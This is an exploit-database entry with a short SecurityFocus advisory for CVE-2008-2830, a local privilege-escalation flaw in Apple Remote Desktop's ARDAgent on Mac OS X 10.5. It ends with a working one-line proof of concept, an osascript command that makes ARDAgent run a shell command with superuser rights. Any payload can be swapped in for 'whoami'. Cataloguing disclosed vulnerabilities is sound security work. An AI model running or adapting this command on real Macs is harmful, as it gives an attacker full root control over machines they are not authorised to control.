Apple Mac OSX 10.x - Applescript ARDAgent Shell Privilege Escalation

Author: anonymous
type: local
platform: osx
port: 
date_added: 2008-06-19 
date_updated: 2014-02-27 
verified: 1 
codes: CVE-2008-2830;OSVDB-46490 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/29831/info

Mac OS X is prone to a local privilege-escalation vulnerability affecting ARDAgent (Apple Remote Desktop).

Successful exploits allow local attackers to execute arbitrary code with superuser privileges, completely compromising the affected computer.

This issue is confirmed to affect Mac OS X 10.5 versions; earlier versions may also be vulnerable.

osascript -e 'tell app "ARDAgent" to do shell script "whoami"';